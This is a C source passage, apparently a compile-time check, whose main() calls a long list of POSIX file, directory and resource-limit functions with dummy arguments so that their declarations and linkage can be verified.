int main(void) { /* dummy variables to prevent null warnings */ char path[] = ""; char mode[] = ""; char buf[1]; struct stat st; struct statfs stfs; struct statvfs stvfs; fpos_t fpos; off_t off; struct rlimit rlim; glob_t glb; int result; DIR* dir; struct dirent direntry; struct dirent* pdirentry; struct dirent** ppdirentry; const struct dirent *pconstdirentry; dir = 0; result = alphasort(&pconstdirentry, &pconstdirentry); creat(path, 0); fgetpos(0, &fpos); fopen(path, mode); freopen(path, mode, 0); fseeko(0, 0, 0); fsetpos(0, &fpos); fstat(0, &st); fstatat(0, path, &st, 0); fstatfs(0, &stfs); fstatvfs(0, &stvfs); ftello(0); ftruncate(0, 0); ftw(path, ftw_stub, 0); getdirentries(0, buf, 0, &off); getrlimit(0, &rlim); glob(path, 0, glob_stub, &glb); lockf(0, 0, 0); lseek(0, 0, 0); lstat(path, &st); mkostemp(path, 0); mkstemp(path); mmap(buf, 0, 0, 0, 0, 0); nftw(path, nftw_stub, 0, 0); open(path, 0); open(path, 0, 0); openat(0, path, 0); openat(0, path, 0, 0); posix_fadvise(0, 0, 0, 0); posix_fallocate(0, 0, 0); pread(0, buf, 0, 0); pwrite(0, buf, 0, 0); readdir(dir); readdir_r(dir, &direntry, &pdirentry); scandir(path, &ppdirentry, scandir_filter_stub, scandir_compare_stub); sendfile(0, 0, &off, 0); setrlimit(0, &rlim); stat(path, &st); statfs(path, &stfs); statvfs(path, &stvfs); tmpfile(); truncate(path, 0); result = versionsort(&pconstdirentry, &pconstdirentry); return result; }